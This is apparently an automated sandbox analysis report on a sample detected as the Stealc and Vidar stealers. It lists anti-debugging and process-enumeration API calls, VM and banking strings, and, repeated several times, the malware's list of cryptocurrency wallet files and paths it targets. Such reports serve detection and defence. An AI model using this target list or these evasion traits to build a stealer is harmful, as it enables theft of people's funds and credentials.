Source: msedge.exe, 00000007.00000002.2317734078.0000020173E44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: FCAKFCGC.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: FCAKFCGC.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Amcache.hve.14.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.14.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.14.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: FCAKFCGC.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: FCAKFCGC.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: FCAKFCGC.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: Amcache.hve.14.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: FCAKFCGC.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: FCAKFCGC.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: FCAKFCGC.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: FCAKFCGC.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: FCAKFCGC.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: FCAKFCGC.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: FCAKFCGC.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: FCAKFCGC.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

API call chain: ExitProcess graph end node

graph_0-91145

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

Code function: 0_2_004275E8 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_004275E8

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

Code function: 0_2_00404980 VirtualProtect 00000000,00000004,00000100,?

0_2_00404980

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

0_2_00426710

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

Code function: 0_2_004263C0 mov eax, dword ptr fs:[00000030h]

0_2_004263C0

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

0_2_00406000

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_004275E8 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_004275E8
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_00427BCA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00427BCA
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_004297A9 SetUnhandledExceptionFilter,	0_2_004297A9
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9EB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6C9EB66C
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9EB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C9EB1F7
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CB9AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CB9AC62

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 2BI8rJKpBa.exe PID: 2836, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_00424630 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,Process32Next,CloseHandle,		0_2_00424630
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_004246C0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,Process32Next,CloseHandle,		0_2_004246C0

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

Code function: 0_2_6C9EB341 cpuid

0_2_6C9EB341

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00422D00

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

Code function: 0_2_00423E10 lstrcpy,lstrcpy,GetSystemTime,

0_2_00423E10

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

Code function: 0_2_004229E0 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_004229E0

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

Code function: 0_2_00422BB0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_00422BB0

Source: Amcache.hve.14.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.14.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.14.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.14.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.14.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.2BI8rJKpBa.exe.2310e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2BI8rJKpBa.exe.2310e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2BI8rJKpBa.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2BI8rJKpBa.exe.2350000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2BI8rJKpBa.exe.2350000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2BI8rJKpBa.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2120537180.0000000002350000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2668726233.0000000002310000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2668293403.00000000007FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2BI8rJKpBa.exe PID: 2836, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: 2BI8rJKpBa.exe PID: 2836, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 2BI8rJKpBa.exe, 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 2BI8rJKpBa.exe, 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 2BI8rJKpBa.exe, 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 2BI8rJKpBa.exe, 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 2BI8rJKpBa.exe, 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 2BI8rJKpBa.exe, 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 2BI8rJKpBa.exe, 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 2BI8rJKpBa.exe, 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
